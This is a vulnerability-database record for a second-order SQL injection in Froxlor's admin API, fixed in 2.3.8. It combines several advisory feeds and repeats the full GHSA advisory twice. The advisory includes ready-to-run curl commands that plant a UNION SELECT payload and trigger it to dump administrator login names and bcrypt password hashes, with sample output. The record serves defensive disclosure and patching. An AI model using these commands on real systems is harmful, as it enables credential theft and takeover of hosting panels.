{"id":"CVE-2026-54348","aliases":["EUVD-2026-61218","GHSA-w27m-rmmf-g5w4"],"status":"published","title":"Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration","description":"Froxlor is open source server administration software. Prior to 2.3.8, the Admins.add and Admins.update endpoints in lib/Froxlor/Api/Commands/Admins.php accept an attacker-controlled ipaddress array and store it as JSON in panel_admins.ip without enforcing numeric element types. When the poisoned account later calls IpsAndPorts.listing, lib/Froxlor/Api/Commands/IpsAndPorts.php decodes the array and concatenates its elements into a SQL IN clause without casting or parameterization; the same unsafe pattern is present in lib/Froxlor/Api/Commands/Domains.php. An authenticated administrator with change_serversettings permission can store a UNION-based payload and trigger it through the poisoned account to retrieve arbitrary database data, including administrator login names and bcrypt password hashes, with potential privilege escalation and broader database impact. This issue is fixed in version 2.3.8.","severity":{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00655,"percentile":0.51706,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-89"],"published":"2026-08-18T20:15:31Z","modified":"2026-11-09T20:10:00Z","fixes":[{"ecosystem":"Packagist","package":"froxlor/froxlor","fixed_in":["2.3.8"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"froxlor/froxlor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.3.8"}]}]},{"source":"osv","ecosystem":"Packagist","package":"froxlor/froxlor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.3.8"}]}],"versions":["0.10.0","0.10.0-rc1","0.10.0-rc2","0.10.1","0.10.10","0.10.11","0.10.12","0.10.13","0.10.14","0.10.15","0.10.16","0.10.17","0.10.18","0.10.19","0.10.2","0.10.20","0.10.21","0.10.22","0.10.23","0.10.23.1","0.10.24","0.10.25","0.10.26","0.10.27","0.10.28","0.10.29","0.10.29.1","0.10.3","0.10.30","0.10.31","0.10.32","0.10.33","0.10.34","0.10.34.1","0.10.35","0.10.35.1","0.10.36","0.10.37","0.10.38","0.10.38.1","0.10.38.2","0.10.38.3","0.10.4","0.10.5","0.10.6","0.10.7","0.10.8","0.10.9","2.0.0","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.21","2.0.22","2.0.23","2.0.24","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.1.0","2.1.0-beta1","2.1.0-beta2","2.1.0-rc1","2.1.0-rc2","2.1.0-rc3","2.1.1","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","2.2.0","2.2.0-rc1","2.2.0-rc2","2.2.0-rc3","2.2.1","2.2.2","2.2.3","2.2.4","2.2.5","2.2.6","2.2.7","2.2.8","2.3.0","2.3.0-rc1","2.3.1","2.3.2","2.3.3","2.3.4","2.3.5","2.3.6","2.3.7"]}],"products":[{"vendor":"froxlor","product":"froxlor"}],"references":[{"url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-w27m-rmmf-g5w4","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/froxlor/froxlor/commit/a1eaca5a1601c8a30e00814a4fc73ad0c185f89e","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/froxlor/froxlor/releases/tag/2.3.8","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-w27m-rmmf-g5w4"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54348.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54348","tags":["advisory"]},{"url":"https://github.com/froxlor/froxlor","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-54348","title":"Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration","description":"Froxlor is open source server administration software. Prior to 2.3.8, the Admins.add and Admins.update endpoints in lib/Froxlor/Api/Commands/Admins.php accept an attacker-controlled ipaddress array and store it as JSON in panel_admins.ip without enforcing numeric element types. When the poisoned account later calls IpsAndPorts.listing, lib/Froxlor/Api/Commands/IpsAndPorts.php decodes the array and concatenates its elements into a SQL IN clause without casting or parameterization; the same unsafe pattern is present in lib/Froxlor/Api/Commands/Domains.php. An authenticated administrator with change_serversettings permission can store a UNION-based payload and trigger it through the poisoned account to retrieve arbitrary database data, including administrator login names and bcrypt password hashes, with potential privilege escalation and broader database impact. This issue is fixed in version 2.3.8.","status":"published","published":"2026-08-18T20:15:31.866Z","modified":"2026-08-19T19:21:07.139Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T13:38:09.774038Z"}],"euvd":[{"id":"EUVD-2026-61218","description":"Froxlor is open source server administration software. Prior to 2.3.8, the Admins.add and Admins.update endpoints in lib/Froxlor/Api/Commands/Admins.php accept an attacker-controlled ipaddress array and store it as JSON in panel_admins.ip without enforcing numeric element types. When the poisoned account later calls IpsAndPorts.listing, lib/Froxlor/Api/Commands/IpsAndPorts.php decodes the array and concatenates its elements into a SQL IN clause without casting or parameterization; the same unsafe pattern is present in lib/Froxlor/Api/Commands/Domains.php. An authenticated administrator with change_serversettings permission can store a UNION-based payload and trigger it through the poisoned account to retrieve arbitrary database data, including administrator login names and bcrypt password hashes, with potential privilege escalation and broader database impact. This issue is fixed in version 2.3.8.","status":"published","published":"2026-08-18T20:15:31Z","modified":"2026-08-19T19:21:07Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T18:01:40.9092Z"}],"ghsa":[{"id":"GHSA-w27m-rmmf-g5w4","title":"Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration","description":"### Summary\n\nA second-order SQL injection vulnerability in Froxlor's admin API allows an authenticated administrator to store a crafted SQL payload in the `panel_admins.ip` column via the `Admins.add` or `Admins.update` endpoint. The payload executes as a UNION-based SQL injection the next time `IpsAndPorts.listing` is called by the poisoned account, returning arbitrary data from the database — including all administrator login names and bcrypt password hashes.\n\n---\n\n### Details\n\nThe vulnerability spans two code locations that form a store-then-trigger chain.\n\n**Stage 1 — Unsanitized array stored as JSON** — `lib/Froxlor/Api/Commands/Admins.php:251,358`\n\n```php\n$ipaddress = $this-\u003egetParam('ipaddress', true, -1);\n// No type enforcement or content validation on $ipaddress.\n// PHP evaluates (is_array([...]) \u0026\u0026 non_empty_array \u003e 0) as true,\n// so any attacker-controlled array is JSON-encoded and stored verbatim.\n'ip' =\u003e empty($ipaddress) ? \"\" : (is_array($ipaddress) \u0026\u0026 $ipaddress \u003e 0\n    ? json_encode($ipaddress)   // ← attacker payload written to panel_admins.ip\n    : -1),\n```\n\nThe INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored.\n\n**Stage 2 — JSON payload imploded directly into SQL** — `lib/Froxlor/Api/Commands/IpsAndPorts.php:71-77`\n\n```php\nif (!empty($this-\u003egetUserDetail('ip')) \u0026\u0026 $this-\u003egetUserDetail('ip') != -1) {\n    // json_decode restores the array; implode joins elements with no casting or escaping\n    $ip_where = \"WHERE `id` IN (\" . implode(\", \", json_decode($this-\u003egetUserDetail('ip'), true)) . \")\";\n}\n$result_stmt = Database::prepare(\n    \"SELECT * FROM `panel_ipsandports` \" . $ip_where . ...\n);\n// Final SQL: SELECT * FROM panel_ipsandports WHERE `id` IN (\u003cPAYLOAD\u003e)\n```\n\nThe same unsanitized implode pattern exists in `lib/Froxlor/Api/Commands/Domains.php:1016`.\n\nEvery other place in the codebase that builds dynamic `IN` clauses uses either integer casting (`(int)`) or parameterized subqueries. The `ip`-column path is the sole exception.\n\n---\n\n### PoC\n\u003cimg width=\"2452\" height=\"1476\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2cbff4f8-b316-4a86-95ce-71f5c14d0c95\" /\u003e\n\n\n\n**Prerequisites:** Valid Froxlor admin API key with `change_serversettings = 1`.\n\n**Step 1 — Poison: store the UNION SELECT payload via `Admins.add`**\n\n```bash\ncurl -s -u \"APIKEY:SECRET\" http://TARGET/api.php \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"command\": \"Admins.add\",\n    \"params\": {\n      \"name\": \"x\",\n      \"new_loginname\": \"eviladmin\",\n      \"email\": \"x@x.local\",\n      \"admin_password\": \"Passw0rd!123\",\n      \"ipaddress\": [\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]\n    }\n  }'\n```\n\nThe `ip` column of `panel_admins` for `eviladmin` now contains:\n```\n[\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]\n```\n\n**Step 2 — Trigger: call `IpsAndPorts.listing` as the poisoned account**\n\nNo interaction beyond a single API call. Visiting the following URL while authenticated as `eviladmin` is sufficient:\n\n```\nhttp://TARGET/admin_index.php?page=ipsandports\n```\n\nOr directly via API:\n\n```bash\ncurl -s -u \"EVIL_APIKEY:EVIL_SECRET\" http://TARGET/api.php \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"command\":\"IpsAndPorts.listing\"}'\n```\n\n**Confirmed output from live instance (`localhost:8290`):**\n\n```json\n{\n  \"data\": {\n    \"list\": [\n      {\n        \"ip\": \"admin\",\n        \"port\": \"$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu\"\n      },\n      {\n        \"ip\": \"eviladmin\",\n        \"port\": \"$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S\"\n      }\n    ]\n  }\n}\n```\n\nThe `ip` field returns `loginname` and `port` returns the bcrypt password hash of every administrator in the database.\n\n**Minimum reproduction — two CMD single-line commands:**\n\nStep 1: poison (run once with any admin API key that has `change_serversettings=1`):\n\n```cmd\ncurl -su \"APIKEY:SECRET\" http://TARGET/api.php -H \"Content-Type:application/json\" -d \"{\\\"command\\\":\\\"Admins.add\\\",\\\"params\\\":{\\\"name\\\":\\\"x\\\",\\\"new_loginname\\\":\\\"poc\\\",\\\"email\\\":\\\"x@x.local\\\",\\\"admin_password\\\":\\\"Passw0rd!1\\\",\\\"ipaddress\\\":[\\\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\\\"]}}\"\n```\n\nStep 2: trigger (run with the poisoned account's API key — visiting the page in a browser also suffices):\n\n```cmd\ncurl -su \"POC_APIKEY:POC_SECRET\" http://TARGET/api.php -H \"Content-Type:application/json\" -d \"{\\\"command\\\":\\\"IpsAndPorts.listing\\\"}\"\n```\n\n**Confirmed output from live instance (`localhost:8290`) — step 2 alone:**\n\n```cmd\ncurl -su \"evil_key_abc123:evil_secret_xyz456\" http://localhost:8290/api.php -H \"Content-Type:application/json\" -d \"{\\\"command\\\":\\\"IpsAndPorts.listing\\\"}\"\n```\n\n```json\n{\n  \"data\": {\n    \"list\": [\n      { \"ip\": \"admin\",     \"port\": \"$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu\" },\n      { \"ip\": \"eviladmin\", \"port\": \"$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S\" }\n    ]\n  }\n}\n```\n\n---\n\n### Impact\n\n**Type:** Second-Order SQL Injection (UNION-based)\n\n**Who is impacted:** Any Froxlor installation with the API enabled and at least one admin account that has `change_serversettings = 1`. The attack requires an authenticated admin API key, making it relevant in multi-admin deployments (hosting providers with reseller admins) where one admin may be malicious or compromised.\n\nConsequences:\n\n- **Full credential dump** — all admin and customer login names and bcrypt password hashes are extractable in a single request.\n- **Lateral movement** — cracked hashes allow login to other admin accounts or customer accounts.\n- **Data exfiltration** — the UNION SELECT can target any table in the database: customer data, email accounts, domain configurations, API keys.\n- **Privilege escalation** — a reseller admin (limited permissions) can extract the super-admin's credentials and gain full control of the panel.\n\n---\n\n### Fix\n\n**Option A (recommended) — Integer-cast all elements before implode:**\n\n```php\n// lib/Froxlor/Api/Commands/IpsAndPorts.php:72\n$ip_ids = array_map('intval', json_decode($this-\u003egetUserDetail('ip'), true));\n$ip_where = \"WHERE `id` IN (\" . implode(\", \", $ip_ids) . \")\";\n```\n\n**Option B — Validate at storage time in `Admins.add` / `Admins.update`:**\n\n```php\n// lib/Froxlor/Api/Commands/Admins.php\nif (is_array($ipaddress)) {\n    $ipaddress = array_filter($ipaddress, 'is_numeric');\n}\n'ip' =\u003e empty($ipaddress) ? \"\" : (is_array($ipaddress) \u0026\u0026 count($ipaddress) \u003e 0\n    ? json_encode(array_map('intval', $ipaddress))\n    : -1),\n```\n\nApply the same fix to the identical pattern in `Domains.php:1016`.\n\n---","status":"published","published":"2026-08-18T20:47:59Z","modified":"2026-08-18T20:48:00Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:41:03.602876Z"}],"nvd":[{"id":"CVE-2026-54348","description":"Froxlor is open source server administration software. Prior to 2.3.8, the Admins.add and Admins.update endpoints in lib/Froxlor/Api/Commands/Admins.php accept an attacker-controlled ipaddress array and store it as JSON in panel_admins.ip without enforcing numeric element types. When the poisoned account later calls IpsAndPorts.listing, lib/Froxlor/Api/Commands/IpsAndPorts.php decodes the array and concatenates its elements into a SQL IN clause without casting or parameterization; the same unsafe pattern is present in lib/Froxlor/Api/Commands/Domains.php. An authenticated administrator with change_serversettings permission can store a UNION-based payload and trigger it through the poisoned account to retrieve arbitrary database data, including administrator login names and bcrypt password hashes, with potential privilege escalation and broader database impact. This issue is fixed in version 2.3.8.","status":"published","published":"2026-08-18T21:16:36.17Z","modified":"2026-11-09T20:10:00.2Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-89"],"updated_at":"2026-11-09T22:15:51.558963Z"}],"osv":[{"id":"CVE-2026-54348","title":"Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration","description":"Froxlor is open source server administration software. Prior to 2.3.8, the Admins.add and Admins.update endpoints in lib/Froxlor/Api/Commands/Admins.php accept an attacker-controlled ipaddress array and store it as JSON in panel_admins.ip without enforcing numeric element types. When the poisoned account later calls IpsAndPorts.listing, lib/Froxlor/Api/Commands/IpsAndPorts.php decodes the array and concatenates its elements into a SQL IN clause without casting or parameterization; the same unsafe pattern is present in lib/Froxlor/Api/Commands/Domains.php. An authenticated administrator with change_serversettings permission can store a UNION-based payload and trigger it through the poisoned account to retrieve arbitrary database data, including administrator login names and bcrypt password hashes, with potential privilege escalation and broader database impact. This issue is fixed in version 2.3.8.","status":"published","published":"2026-08-18T20:15:31.866Z","modified":"2026-10-28T02:30:46.410478121Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:45:10.818486Z"},{"id":"GHSA-w27m-rmmf-g5w4","title":"Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration","description":"### Summary\n\nA second-order SQL injection vulnerability in Froxlor's admin API allows an authenticated administrator to store a crafted SQL payload in the `panel_admins.ip` column via the `Admins.add` or `Admins.update` endpoint. The payload executes as a UNION-based SQL injection the next time `IpsAndPorts.listing` is called by the poisoned account, returning arbitrary data from the database — including all administrator login names and bcrypt password hashes.\n\n---\n\n### Details\n\nThe vulnerability spans two code locations that form a store-then-trigger chain.\n\n**Stage 1 — Unsanitized array stored as JSON** — `lib/Froxlor/Api/Commands/Admins.php:251,358`\n\n```php\n$ipaddress = $this-\u003egetParam('ipaddress', true, -1);\n// No type enforcement or content validation on $ipaddress.\n// PHP evaluates (is_array([...]) \u0026\u0026 non_empty_array \u003e 0) as true,\n// so any attacker-controlled array is JSON-encoded and stored verbatim.\n'ip' =\u003e empty($ipaddress) ? \"\" : (is_array($ipaddress) \u0026\u0026 $ipaddress \u003e 0\n    ? json_encode($ipaddress)   // ← attacker payload written to panel_admins.ip\n    : -1),\n```\n\nThe INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored.\n\n**Stage 2 — JSON payload imploded directly into SQL** — `lib/Froxlor/Api/Commands/IpsAndPorts.php:71-77`\n\n```php\nif (!empty($this-\u003egetUserDetail('ip')) \u0026\u0026 $this-\u003egetUserDetail('ip') != -1) {\n    // json_decode restores the array; implode joins elements with no casting or escaping\n    $ip_where = \"WHERE `id` IN (\" . implode(\", \", json_decode($this-\u003egetUserDetail('ip'), true)) . \")\";\n}\n$result_stmt = Database::prepare(\n    \"SELECT * FROM `panel_ipsandports` \" . $ip_where . ...\n);\n// Final SQL: SELECT * FROM panel_ipsandports WHERE `id` IN (\u003cPAYLOAD\u003e)\n```\n\nThe same unsanitized implode pattern exists in `lib/Froxlor/Api/Commands/Domains.php:1016`.\n\nEvery other place in the codebase that builds dynamic `IN` clauses uses either integer casting (`(int)`) or parameterized subqueries. The `ip`-column path is the sole exception.\n\n---\n\n### PoC\n\u003cimg width=\"2452\" height=\"1476\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2cbff4f8-b316-4a86-95ce-71f5c14d0c95\" /\u003e\n\n\n\n**Prerequisites:** Valid Froxlor admin API key with `change_serversettings = 1`.\n\n**Step 1 — Poison: store the UNION SELECT payload via `Admins.add`**\n\n```bash\ncurl -s -u \"APIKEY:SECRET\" http://TARGET/api.php \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"command\": \"Admins.add\",\n    \"params\": {\n      \"name\": \"x\",\n      \"new_loginname\": \"eviladmin\",\n      \"email\": \"x@x.local\",\n      \"admin_password\": \"Passw0rd!123\",\n      \"ipaddress\": [\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]\n    }\n  }'\n```\n\nThe `ip` column of `panel_admins` for `eviladmin` now contains:\n```\n[\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]\n```\n\n**Step 2 — Trigger: call `IpsAndPorts.listing` as the poisoned account**\n\nNo interaction beyond a single API call. Visiting the following URL while authenticated as `eviladmin` is sufficient:\n\n```\nhttp://TARGET/admin_index.php?page=ipsandports\n```\n\nOr directly via API:\n\n```bash\ncurl -s -u \"EVIL_APIKEY:EVIL_SECRET\" http://TARGET/api.php \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"command\":\"IpsAndPorts.listing\"}'\n```\n\n**Confirmed output from live instance (`localhost:8290`):**\n\n```json\n{\n  \"data\": {\n    \"list\": [\n      {\n        \"ip\": \"admin\",\n        \"port\": \"$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu\"\n      },\n      {\n        \"ip\": \"eviladmin\",\n        \"port\": \"$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S\"\n      }\n    ]\n  }\n}\n```\n\nThe `ip` field returns `loginname` and `port` returns the bcrypt password hash of every administrator in the database.\n\n**Minimum reproduction — two CMD single-line commands:**\n\nStep 1: poison (run once with any admin API key that has `change_serversettings=1`):\n\n```cmd\ncurl -su \"APIKEY:SECRET\" http://TARGET/api.php -H \"Content-Type:application/json\" -d \"{\\\"command\\\":\\\"Admins.add\\\",\\\"params\\\":{\\\"name\\\":\\\"x\\\",\\\"new_loginname\\\":\\\"poc\\\",\\\"email\\\":\\\"x@x.local\\\",\\\"admin_password\\\":\\\"Passw0rd!1\\\",\\\"ipaddress\\\":[\\\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\\\"]}}\"\n```\n\nStep 2: trigger (run with the poisoned account's API key — visiting the page in a browser also suffices):\n\n```cmd\ncurl -su \"POC_APIKEY:POC_SECRET\" http://TARGET/api.php -H \"Content-Type:application/json\" -d \"{\\\"command\\\":\\\"IpsAndPorts.listing\\\"}\"\n```\n\n**Confirmed output from live instance (`localhost:8290`) — step 2 alone:**\n\n```cmd\ncurl -su \"evil_key_abc123:evil_secret_xyz456\" http://localhost:8290/api.php -H \"Content-Type:application/json\" -d \"{\\\"command\\\":\\\"IpsAndPorts.listing\\\"}\"\n```\n\n```json\n{\n  \"data\": {\n    \"list\": [\n      { \"ip\": \"admin\",     \"port\": \"$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu\" },\n      { \"ip\": \"eviladmin\", \"port\": \"$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S\" }\n    ]\n  }\n}\n```\n\n---\n\n### Impact\n\n**Type:** Second-Order SQL Injection (UNION-based)\n\n**Who is impacted:** Any Froxlor installation with the API enabled and at least one admin account that has `change_serversettings = 1`. The attack requires an authenticated admin API key, making it relevant in multi-admin deployments (hosting providers with reseller admins) where one admin may be malicious or compromised.\n\nConsequences:\n\n- **Full credential dump** — all admin and customer login names and bcrypt password hashes are extractable in a single request.\n- **Lateral movement** — cracked hashes allow login to other admin accounts or customer accounts.\n- **Data exfiltration** — the UNION SELECT can target any table in the database: customer data, email accounts, domain configurations, API keys.\n- **Privilege escalation** — a reseller admin (limited permissions) can extract the super-admin's credentials and gain full control of the panel.\n\n---\n\n### Fix\n\n**Option A (recommended) — Integer-cast all elements before implode:**\n\n```php\n// lib/Froxlor/Api/Commands/IpsAndPorts.php:72\n$ip_ids = array_map('intval', json_decode($this-\u003egetUserDetail('ip'), true));\n$ip_where = \"WHERE `id` IN (\" . implode(\", \", $ip_ids) . \")\";\n```\n\n**Option B — Validate at storage time in `Admins.add` / `Admins.update`:**\n\n```php\n// lib/Froxlor/Api/Commands/Admins.php\nif (is_array($ipaddress)) {\n    $ipaddress = array_filter($ipaddress, 'is_numeric');\n}\n'ip' =\u003e empty($ipaddress) ? \"\" : (is_array($ipaddress) \u0026\u0026 count($ipaddress) \u003e 0\n    ? json_encode(array_map('intval', $ipaddress))\n    : -1),\n```\n\nApply the same fix to the identical pattern in `Domains.php:1016`.\n\n---","status":"published","published":"2026-08-18T20:47:59Z","modified":"2026-08-18T21:11:08.669909Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:46:58.04805Z"}]}}
